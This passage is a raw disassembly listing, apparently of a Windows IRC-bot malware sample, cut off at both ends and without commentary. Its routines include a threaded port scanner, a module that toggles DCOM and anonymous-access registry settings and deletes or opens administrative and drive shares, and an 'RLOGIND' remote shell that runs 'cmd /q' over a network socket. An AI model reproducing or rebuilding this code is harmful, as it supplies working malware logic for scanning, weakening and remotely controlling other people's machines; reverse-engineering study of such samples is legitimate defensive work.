0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi xor edx, edx xor edi, edi loc_41111E: ; CODE XREF: sub_411114+62j mov esi, [ebp+arg_C] test esi, esi jz short loc_41115D lea eax, dword_4301C8[edi] loc_41112B: ; CODE XREF: sub_411114+33j mov bl, [esi] mov cl, bl cmp bl, [eax] jnz short loc_41114D test cl, cl jz short loc_411149 mov bl, [esi+1] mov cl, bl cmp bl, [eax+1] jnz short loc_41114D inc esi inc esi inc eax inc eax test cl, cl jnz short loc_41112B loc_411149: ; CODE XREF: sub_411114+21j xor eax, eax jmp short loc_411152 ; --------------------------------------------------------------------------- loc_41114D: ; CODE XREF: sub_411114+1Dj ; sub_411114+2Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_411152: ; CODE XREF: sub_411114+37j xor ecx, ecx test eax, eax setz cl mov eax, ecx jmp short loc_41116B ; --------------------------------------------------------------------------- loc_41115D: ; CODE XREF: sub_411114+Fj mov ecx, dword_4301D4[edi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_41116B: ; CODE XREF: sub_411114+47j test eax, eax jnz short loc_41117A add edi, 14h inc edx cmp edi, 64h jb short loc_41111E jmp short loc_411188 ; --------------------------------------------------------------------------- loc_41117A: ; CODE XREF: sub_411114+59j push [ebp+arg_0] lea eax, [edx+edx*4] call off_4301D8[eax*4] pop ecx loc_411188: ; CODE XREF: sub_411114+64j cmp [ebp+arg_8], 0 pop edi pop esi pop ebx jz short loc_41119C push [ebp+arg_0] call sub_411072 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_41119C: ; CODE XREF: sub_411114+7Bj mov eax, [ebp+arg_0] pop ebp retn sub_411114 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4111A1 proc near ; DATA XREF: sub_411263+77o var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0B8h mov eax, [ebp+74h+arg_0] push esi push edi mov esi, eax push 2Ah pop ecx lea edi, [ebp+74h+var_B8] rep movsd push [ebp+74h+var_34] xor esi, esi inc esi mov [eax+0A4h], esi xor eax, eax lea edi, [ebp+74h+var_10] stosd stosd stosd stosd mov [ebp+74h+var_10], 2 call dword_43A514 ; ntohs push 6 mov [ebp+74h+var_E], ax mov eax, [ebp+74h+var_28] push esi push 2 mov [ebp+74h+var_C], eax call dword_43A3BC ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_411251 push 10h lea eax, [ebp+74h+var_10] push eax push esi call dword_43A36C ; connect mov ecx, [ebp+74h+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43B26C[ecx], esi jz short loc_411251 push [ebp+74h+var_34] push [ebp+74h+var_28] call dword_43A440 ; inet_ntoa push eax push offset aScanIpSPortD_0 ; "[SCAN]: IP: %s Port: %d is open." mov edi, offset dword_480B40 push edi call sub_416975 push 0 push [ebp+74h+var_20] lea eax, [ebp+74h+var_B4] push edi push eax push [ebp+74h+var_B8] call sub_405D62 push edi call sub_401F0F add esp, 28h loc_411251: ; CODE XREF: sub_4111A1+55j ; sub_4111A1+76j push esi call dword_43A4D0 ; closesocket pop edi xor eax, eax pop esi add ebp, 74h leave retn 4 sub_4111A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame fpd=74h sub_411263 proc near ; DATA XREF: sub_409848+2975o var_12C = byte ptr -12Ch var_AC = byte ptr -0ACh var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 12Ch push ebx mov ebx, [ebp+74h+arg_0] push esi push edi push 2Ah pop ecx mov esi, ebx lea edi, [ebp+74h+var_AC] rep movsd mov esi, dword_422000 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_411290: ; CODE XREF: sub_411263+C1j push [ebp+74h+var_28] push [ebp+74h+var_1C] call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+74h+var_12C] push offset aScanScanningIp ; "[SCAN]: Scanning IP: %s, Port: %d." push eax call sub_416975 push 1FFh lea eax, [ebp+74h+var_12C] push eax mov eax, [ebp+74h+var_20] imul eax, 234h add eax, offset dword_43B060 push eax call sub_416A00 add esp, 1Ch lea eax, [ebp+74h+var_4] push eax push edi lea eax, [ebp+74h+var_AC] push eax push offset sub_4111A1 push edi push edi call dword_42200C ; CreateThread cmp eax, edi mov [ebp+74h+arg_0], eax jz short loc_4112F9 jmp short loc_4112F4 ; --------------------------------------------------------------------------- loc_4112F0: ; CODE XREF: sub_411263+94j push 32h call esi ; Sleep loc_4112F4: ; CODE XREF: sub_411263+8Bj cmp [ebp+74h+var_8], edi jz short loc_4112F0 loc_4112F9: ; CODE XREF: sub_411263+89j push [ebp+74h+arg_0] call dword_42202C ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep push [ebp+74h+var_1C] call dword_43A494 ; ntohl inc eax push eax call dword_43A4EC ; ntohl mov [ebp+74h+var_1C], eax jmp loc_411290 sub_411263 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411329 proc near ; CODE XREF: sub_411969+8p ; sub_411987+37p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43A528, edi jnz loc_41145C lea eax, [ebp+var_4] push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" mov esi, 80000002h push esi call dword_43A4F0 ; RegOpenKeyExA test eax, eax jnz short loc_4113B5 lea eax, [ebp+var_8+2] mov word ptr [ebp+var_8+2], 4Eh lea edx, [eax+1] loc_41136D: ; CODE XREF: sub_411329+49j mov cl, [eax] inc eax test cl, cl jnz short loc_41136D sub eax, edx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43A3A0 ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_41139D push offset aSecureDisableD ; "[SECURE]: Disable DCOM failed." jmp short loc_4113A2 ; --------------------------------------------------------------------------- loc_41139D: ; CODE XREF: sub_411329+6Bj push offset aSecureDcomDisa ; "[SECURE]: DCOM disabled." loc_4113A2: ; CODE XREF: sub_411329+72j push eax call sub_416975 pop ecx pop ecx push [ebp+var_4] call dword_43A4A0 ; RegCloseKey jmp short loc_4113C8 ; --------------------------------------------------------------------------- loc_4113B5: ; CODE XREF: sub_411329+36j lea eax, [ebp+var_214] push offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM registry "... push eax call sub_416975 pop ecx pop ecx loc_4113C8: ; CODE XREF: sub_411329+8Aj cmp [ebp+arg_C], edi jnz short loc_4113E7 push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_4113E7: ; CODE XREF: sub_411329+A2j lea eax, [ebp+var_214] push eax call sub_401F0F pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43A4F0 ; RegOpenKeyExA test eax, eax jnz short loc_411455 push 4 lea eax, [ebp+var_8] push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43A3A0 ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_41143D push offset aSecureFailed_1 ; "[SECURE]: Failed to restrict access to "... jmp short loc_411442 ; --------------------------------------------------------------------------- loc_41143D: ; CODE XREF: sub_411329+10Bj push offset aSecureRestrict ; "[SECURE]: Restricted access to the IPC$"... loc_411442: ; CODE XREF: sub_411329+112j push eax call sub_416975 pop ecx pop ecx push [ebp+var_4] call dword_43A4A0 ; RegCloseKey jmp short loc_41146F ; --------------------------------------------------------------------------- loc_411455: ; CODE XREF: sub_411329+E3j push offset aSecureFailed_2 ; "[SECURE]: Failed to open IPC$ Restricti"... jmp short loc_411461 ; --------------------------------------------------------------------------- loc_41145C: ; CODE XREF: sub_411329+13j push offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"... loc_411461: ; CODE XREF: sub_411329+131j lea eax, [ebp+var_214] push eax call sub_416975 pop ecx pop ecx loc_41146F: ; CODE XREF: sub_411329+12Aj cmp [ebp+arg_C], edi jnz short loc_41148E push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_41148E: ; CODE XREF: sub_411329+149j lea eax, [ebp+var_214] push eax call sub_401F0F cmp dword_43A550, edi pop ecx jnz loc_41160B mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi push ebx loc_4114B1: ; CODE XREF: sub_411329+2C6j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax push 0FFFFFFFFh lea eax, [ebp+var_8] push eax push 1F6h push edi call dword_43A4C4 cmp eax, edi mov [ebp+var_10], eax jz short loc_411550 cmp eax, 0EAh jz short loc_411550 xor esi, esi loc_4114DF: ; CODE XREF: sub_411329+220j push off_430230[esi] push edi call sub_407C93 pop ecx pop ecx push off_430230[esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_411504 push offset aSecureShareSDe ; "[SECURE]: Share '%s' deleted." jmp short loc_411509 ; --------------------------------------------------------------------------- loc_411504: ; CODE XREF: sub_411329+1D2j push offset aSecureFailed_3 ; "[SECURE]: Failed to delete '%s' share." loc_411509: ; CODE XREF: sub_411329+1D9j push 200h push eax call sub_416BCD add esp, 10h cmp [ebp+arg_C], edi jnz short loc_411536 push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_411536: ; CODE XREF: sub_411329+1F1j lea eax, [ebp+var_214] push eax call sub_401F0F add esi, 8 cmp esi, 20h pop ecx jb short loc_4114DF jmp loc_4115E8 ; --------------------------------------------------------------------------- loc_411550: ; CODE XREF: sub_411329+1ABj ; sub_411329+1B2j mov esi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+var_4], ebx jb loc_4115DF loc_41155F: ; CODE XREF: sub_411329+2B2j mov edi, [esi] push edi call sub_417F3E cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_4115D4 push edi call sub_407BA7 push eax push 0 call sub_407C93 add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_411594 push offset aSecureShareS_0 ; "[SECURE]: Share '%S' deleted." jmp short loc_411599 ; --------------------------------------------------------------------------- loc_411594: ; CODE XREF: sub_411329+262j push offset aSecureFailed_4 ; "[SECURE]: Failed to delete '%S' share." loc_411599: ; CODE XREF: sub_411329+269j push 200h push eax call sub_416BCD add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_4115C7 push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_4115C7: ; CODE XREF: sub_411329+282j lea eax, [ebp+var_214] push eax call sub_401F0F pop ecx loc_4115D4: ; CODE XREF: sub_411329+245j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41155F xor edi, edi loc_4115DF: ; CODE XREF: sub_411329+230j push [ebp+var_8] call dword_43A3F8 loc_4115E8: ; CODE XREF: sub_411329+222j cmp [ebp+var_10], 0EAh jz loc_4114B1 lea eax, [ebp+var_214] push offset aSecureNetworkS ; "[SECURE]: Network shares deleted." push eax call sub_416975 pop ecx pop ecx pop ebx jmp short loc_41161E ; --------------------------------------------------------------------------- loc_41160B: ; CODE XREF: sub_411329+178j lea eax, [ebp+var_214] push offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"... push eax call sub_416975 pop ecx pop ecx loc_41161E: ; CODE XREF: sub_411329+2E0j cmp [ebp+arg_C], edi jnz short loc_41163C push edi push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_41163C: ; CODE XREF: sub_411329+2F8j lea eax, [ebp+var_214] push eax call sub_401F0F pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_411329 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411650 proc near ; CODE XREF: sub_411987:loc_4119C5p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43A528, ebx push esi jnz loc_41177F lea eax, [ebp+var_4] push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" mov esi, 80000002h push esi call dword_43A4F0 ; RegOpenKeyExA test eax, eax jnz short loc_4116DC lea eax, [ebp+var_8+2] mov word ptr [ebp+var_8+2], 59h lea edx, [eax+1] loc_411694: ; CODE XREF: sub_411650+49j mov cl, [eax] inc eax test cl, cl jnz short loc_411694 sub eax, edx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43A3A0 ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_4116C4 push offset aSecureEnableDc ; "[SECURE]: Enable DCOM failed." jmp short loc_4116C9 ; --------------------------------------------------------------------------- loc_4116C4: ; CODE XREF: sub_411650+6Bj push offset aSecureDcomEnab ; "[SECURE]: DCOM enabled." loc_4116C9: ; CODE XREF: sub_411650+72j push eax call sub_416975 pop ecx pop ecx push [ebp+var_4] call dword_43A4A0 ; RegCloseKey jmp short loc_4116EF ; --------------------------------------------------------------------------- loc_4116DC: ; CODE XREF: sub_411650+36j lea eax, [ebp+var_220] push offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM registry "... push eax call sub_416975 pop ecx pop ecx loc_4116EF: ; CODE XREF: sub_411650+8Aj cmp [ebp+arg_C], ebx jnz short loc_41170E push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_41170E: ; CODE XREF: sub_411650+A2j lea eax, [ebp+var_220] push eax call sub_401F0F pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43A4F0 ; RegOpenKeyExA test eax, eax jnz short loc_411778 push 4 lea eax, [ebp+var_8] push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43A3A0 ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_411760 push offset aSecureFailed_5 ; "[SECURE]: Failed to unrestrict access t"... jmp short loc_411765 ; --------------------------------------------------------------------------- loc_411760: ; CODE XREF: sub_411650+107j push offset aSecureUnrestri ; "[SECURE]: Unrestricted access to the IP"... loc_411765: ; CODE XREF: sub_411650+10Ej push eax call sub_416975 pop ecx pop ecx push [ebp+var_4] call dword_43A4A0 ; RegCloseKey jmp short loc_411792 ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: sub_411650+E3j push offset aSecureFailed_6 ; "[SECURE]: Failed to open IPC$ restricti"... jmp short loc_411784 ; --------------------------------------------------------------------------- loc_41177F: ; CODE XREF: sub_411650+13j push offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"... loc_411784: ; CODE XREF: sub_411650+12Dj lea eax, [ebp+var_220] push eax call sub_416975 pop ecx pop ecx loc_411792: ; CODE XREF: sub_411650+126j cmp [ebp+arg_C], ebx jnz short loc_4117B1 push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_4117B1: ; CODE XREF: sub_411650+145j lea eax, [ebp+var_220] push eax call sub_401F0F cmp dword_43A550, ebx pop ecx jnz loc_411924 push edi xor esi, esi mov edi, 200h loc_4117D2: ; CODE XREF: sub_411650+1EFj push dword_430234[esi] push off_430230[esi] push ebx call sub_407C28 add esp, 0Ch push off_430230[esi] test eax, eax lea eax, [ebp+var_220] jnz short loc_4117FE push offset aSecureShareSAd ; "[SECURE]: Share '%s' added." jmp short loc_411803 ; --------------------------------------------------------------------------- loc_4117FE: ; CODE XREF: sub_411650+1A5j push offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share." loc_411803: ; CODE XREF: sub_411650+1ACj push edi push eax call sub_416BCD add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41182C push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_41182C: ; CODE XREF: sub_411650+1C0j lea eax, [ebp+var_220] push eax call sub_401F0F add esi, 8 cmp esi, 10h pop ecx jb short loc_4117D2 call dword_422124 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41190C loc_411854: ; CODE XREF: sub_411650+2B6j test byte ptr [ebp+var_4], 1 jz loc_411901 cmp bl, 41h jz loc_411901 movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_416BCD push esi push offset aC_0 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_416BCD add esp, 20h lea eax, [ebp+var_20] push eax call dword_43A33C ; GetDriveTypeA cmp eax, 3 jnz short loc_411901 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_407C28 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_220] jnz short loc_4118C5 push offset aSecureShareSAd ; "[SECURE]: Share '%s' added." jmp short loc_4118CA ; --------------------------------------------------------------------------- loc_4118C5: ; CODE XREF: sub_411650+26Cj push offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share." loc_4118CA: ; CODE XREF: sub_411650+273j push edi push eax call sub_416BCD add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_4118F4 push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_4118F4: ; CODE XREF: sub_411650+288j lea eax, [ebp+var_220] push eax call sub_401F0F pop ecx loc_411901: ; CODE XREF: sub_411650+208j ; sub_411650+211j ... inc bl shr [ebp+var_4], 1 jnz loc_411854 loc_41190C: ; CODE XREF: sub_411650+1FEj lea eax, [ebp+var_220] push offset aSecureNetwor_0 ; "[SECURE]: Network shares added." push eax call sub_416975 pop ecx pop ecx xor ebx, ebx pop edi jmp short loc_411937 ; --------------------------------------------------------------------------- loc_411924: ; CODE XREF: sub_411650+174j lea eax, [ebp+var_220] push offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"... push eax call sub_416975 pop ecx pop ecx loc_411937: ; CODE XREF: sub_411650+2D2j cmp [ebp+arg_C], ebx jnz short loc_411955 push ebx push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_411955: ; CODE XREF: sub_411650+2EAj lea eax, [ebp+var_220] push eax call sub_401F0F pop ecx xor eax, eax pop esi inc eax pop ebx leave retn sub_411650 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411969 proc near ; CODE XREF: sub_411969+1Cj ; DATA XREF: sub_40FB4C+3B4o push 1 push 0 push 0 push 0 call sub_411329 add esp, 10h push dword_43022C call dword_422000 ; Sleep jmp short sub_411969 sub_411969 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_411987 proc near ; DATA XREF: sub_409848+54B8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 98h mov eax, [ebp+74h+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+74h+var_98] rep movsd cmp [ebp+74h+var_10], 0 push [ebp+74h+var_8] mov dword ptr [eax+94h], 1 push [ebp+74h+var_C] lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] jz short loc_4119C5 call sub_411329 jmp short loc_4119CA ; --------------------------------------------------------------------------- loc_4119C5: ; CODE XREF: sub_411987+35j call sub_411650 loc_4119CA: ; CODE XREF: sub_411987+3Cj add esp, 10h push [ebp+74h+var_14] call sub_4139F6 pop ecx push 0 call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_411987 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119DF proc near ; CODE XREF: sub_411C5D+98p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push esi push edi push 11h xor eax, eax pop ecx lea edi, [ebp+var_58] rep stosd lea edi, [ebp+var_14] stosd xor esi, esi stosd stosd stosd mov eax, [ebp+arg_0] mov edi, dword_4220E0 push esi push 1 mov [ebp+var_20], eax push 2 lea eax, [ebp+var_18] push eax mov [ebp+var_4], esi mov [ebp+var_58], 44h mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call dword_422110 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call dword_422044 ; CreateProcessA test eax, eax jz short loc_411A8F mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43B268[eax], ecx call dword_42202C ; CloseHandle jmp short loc_411AA5 ; --------------------------------------------------------------------------- loc_411A8F: ; CODE XREF: sub_4119DF+8Ej call dword_422008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_2 ; "[RLOGIND]: Failed to execute shell, err"... call sub_401F83 mov esi, [ebp+var_4] pop ecx pop ecx loc_411AA5: ; CODE XREF: sub_4119DF+AEj pop edi mov eax, esi pop esi leave retn sub_4119DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_411AAB proc near ; DATA XREF: sub_411D59+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 1B0h push ebx mov ebx, dword_42208C push esi push edi mov edi, [ebp+74h+arg_0] jmp short loc_411B0D ; --------------------------------------------------------------------------- loc_411AC4: ; CODE XREF: sub_411AAB+77j xor eax, eax xor dl, dl xor esi, esi cmp [ebp+74h+arg_0], eax jbe short loc_411AF6 loc_411ACF: ; CODE XREF: sub_411AAB+49j mov cl, [ebp+esi+74h+var_C8] cmp cl, 0Ah jnz short loc_411AE6 cmp dl, 0Dh jz short loc_411AE6 mov [ebp+eax+74h+var_1B0], 0Dh inc eax loc_411AE6: ; CODE XREF: sub_411AAB+2Bj ; sub_411AAB+30j mov [ebp+eax+74h+var_1B0], cl inc eax inc esi cmp esi, [ebp+74h+arg_0] mov dl, cl jb short loc_411ACF loc_411AF6: ; CODE XREF: sub_411AAB+22j push 0 push eax lea eax, [ebp+74h+var_1B0] push eax push dword ptr [edi+0Ch] call dword_43A458 ; send test eax, eax jle short loc_411B24 loc_411B0D: ; CODE XREF: sub_411AAB+17j push 0 lea eax, [ebp+74h+arg_0] push eax push 0C8h lea eax, [ebp+74h+var_C8] push eax push dword ptr [edi] call ebx ; ReadFile test eax, eax jnz short loc_411AC4 loc_411B24: ; CODE XREF: sub_411AAB+60j mov esi, dword_422008 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_411B40 call esi ; RtlGetLastWin32Error push eax push offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"... call sub_401F83 pop ecx pop ecx loc_411B40: ; CODE XREF: sub_411AAB+84j pop edi pop esi pop ebx add ebp, 74h leave retn sub_411AAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_411B48 proc near ; DATA XREF: sub_411D59+75o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+74h+arg_0] xor esi, esi mov [ebp+74h+var_10], ebx jmp loc_411C3A ; --------------------------------------------------------------------------- loc_411B65: ; CODE XREF: sub_411B48+107j cmp [ebp+74h+var_10], ebx jbe short loc_411B72 dec [ebp+74h+var_10] jmp loc_411C3D ; --------------------------------------------------------------------------- loc_411B72: ; CODE XREF: sub_411B48+20j mov al, byte ptr [ebp+74h+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411C25 cmp al, 8 mov [ebp+74h+var_C], ebx jz short loc_411BDC cmp al, 7Fh jz short loc_411BDC cmp al, 3 jnz short loc_411B9D push ebx push ebx call dword_422128 ; GenerateConsoleCtrlEvent jmp short loc_411C03 ; --------------------------------------------------------------------------- loc_411B9D: ; CODE XREF: sub_411B48+49j cmp al, 15h jnz short loc_411BBF xor esi, esi mov [ebp+74h+var_8], 20h mov [ebp+74h+var_7], 58h mov [ebp+74h+var_6], 58h mov [ebp+74h+var_5], 58h mov [ebp+74h+var_4], 0Dh mov [ebp+74h+var_3], 0Ah push 6 jmp short loc_411BEF ; --------------------------------------------------------------------------- loc_411BBF: ; CODE XREF: sub_411B48+57j xor ecx, ecx mov [ebp+esi+74h+var_DC], al inc esi inc ecx cmp al, 0Dh mov [ebp+74h+var_8], al jnz short loc_411BF0 mov [ebp+esi+74h+var_DC], 0Ah mov [ebp+74h+var_7], 0Ah inc esi push 2 jmp short loc_411BEF ; --------------------------------------------------------------------------- loc_411BDC: ; CODE XREF: sub_411B48+41j ; sub_411B48+45j cmp esi, ebx jbe short loc_411C06 dec esi mov [ebp+74h+var_8], 8 mov [ebp+74h+var_7], 20h mov [ebp+74h+var_6], 8 push 3 loc_411BEF: ; CODE XREF: sub_411B48+75j ; sub_411B48+92j pop ecx loc_411BF0: ; CODE XREF: sub_411B48+84j push ebx push ecx lea eax, [ebp+74h+var_8] push eax push dword ptr [edi+0Ch] call dword_43A458 ; send test eax, eax jle short loc_411C55 loc_411C03: ; CODE XREF: sub_411B48+53j mov al, byte ptr [ebp+74h+arg_0+3] loc_411C06: ; CODE XREF: sub_411B48+96j cmp al, 0Dh jnz short loc_411C3D push ebx lea eax, [ebp+74h+var_14] push eax push esi lea eax, [ebp+74h+var_DC] push eax push dword ptr [edi+4] call dword_422030 ; WriteFile test eax, eax jz short loc_411C55 xor esi, esi jmp short loc_411C3D ; --------------------------------------------------------------------------- loc_411C25: ; CODE XREF: sub_411B48+36j cmp [ebp+74h+var_C], ebx jnz short loc_411C33 mov [ebp+74h+var_C], 1 jmp short loc_411C3D ; --------------------------------------------------------------------------- loc_411C33: ; CODE XREF: sub_411B48+E0j mov [ebp+74h+var_10], 0Ah loc_411C3A: ; CODE XREF: sub_411B48+18j mov [ebp+74h+var_C], ebx loc_411C3D: ; CODE XREF: sub_411B48+25j ; sub_411B48+C0j ... push ebx push 1 lea eax, [ebp+74h+arg_0+3] push eax push dword ptr [edi+0Ch] call dword_43A324 ; recv test eax, eax jg loc_411B65 loc_411C55: ; CODE XREF: sub_411B48+B9j ; sub_411B48+D7j pop edi pop esi pop ebx add ebp, 74h leave retn sub_411B48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C5D proc near ; CODE XREF: sub_411D59+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_416E1F mov esi, eax cmp esi, edi pop ecx jnz short loc_411C82 xor eax, eax jmp loc_411D55 ; --------------------------------------------------------------------------- loc_411C82: ; CODE XREF: sub_411C5D+1Cj push ebx push edi 